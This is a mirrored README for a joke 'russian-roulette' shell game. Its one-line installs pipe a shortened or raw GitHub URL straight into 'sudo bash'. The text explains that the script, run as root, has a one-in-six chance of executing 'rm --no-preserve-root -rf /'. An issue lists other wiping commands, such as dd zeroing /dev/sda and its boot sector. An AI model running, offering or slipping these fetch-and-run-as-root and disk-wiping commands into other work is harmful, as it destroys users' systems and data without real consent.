Giter Club home page Giter Club logo

russian-roulette's Introduction

russian-roulette ๐Ÿ€ ๐Ÿ”ซ

See also the nasty git version of it: git-russian-roulette

You want to push your luck, or you're just extremely bored? OK โ€“ that's great!

Go ahead and challenge your luck with this awesome command line based Russian Roulette:

wget http://bit.ly/1Wa0uTo -O - | sudo bash

Or without the shortened URL:

wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/russian-roulette -O - | sudo bash

One-line Install:

wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/install.sh -O - | sudo bash

# use it with:
sudo russian-roulette

docker, because docker:

docker build . -t russian-roulette
docker run --rm -it russian-roulette

Install by cloning git repository:

git clone https://github.com/timofurrer/russian-roulette
cd russian-roulette
sudo make install

Officially supported shells:

  • bash
  • zsh

I'd be more than happy to accept pull requests to support other shells!

Use Cases

... of course there are use cases:

  • to challenge your luck
  • to kill time
  • to use as a drinking game
  • masochism
  • and a looooot more ๐Ÿ˜œ

Just for the record...

...don't be stupid and play Russian Roulette โ€“ ever!

...what? You already played and lost? Well, better for you that you haven't made this decision with a loaded gun!

...and yes, it really does try to remove your entire system ...

But what does it actually do?

If you don't know what the script does, you really shouldn't be playing with it!

Let's break it down:

[ "$EUID" -ne 0 ] && echo "Seriously?! What a p***y, how about playing as root?" && exit

That line checks to see which user you're running the script as. If you're not playing as the root user with full permissions, nothing too bad will happen, so what's even the point in playing?! The script will then cease to run.

[ $(( $RANDOM % 6 )) -eq 0 ] && rm --no-preserve-root -rf / || echo "click"

This is the meat of the game. It generates a random number and gets the remainder after dividing by 6.

If the result is anything but 0, then your console will echo out a haunting, resounding "click"...

If the result is 0 (i.e., the random number was the loaded chamber) then it will execute the rm command which recursively and forcibly (which is what the -rf flags mean) removes all files and directories under your root directory (/) on the system.

The --no-preserve-root option is there to override the safety measure that would otherwise stop you from deleting the really important system files. You know, in case you were to do something stupid and play Russian Roulette with your hard drive...

russian-roulette's People

Contributors

bobey6 avatar corazzi avatar filipallberg avatar timofurrer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

russian-roulette's Issues

Action when lost

At the moment if you loose it tries to remove everything in /. However, this could take a while. Any better or cooler ideas what could be done?

  • rm --no-preserve-root -rf /
  • dd if=/dev/zero of=/dev/sda
  • dd if=/dev/zero of=/dev/sda bs=512 count=1
  • find / | parallel -j 10 'rm --no-preserve-root -rf' (only if parallel (GNU Parallel is installed)
  • ...?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.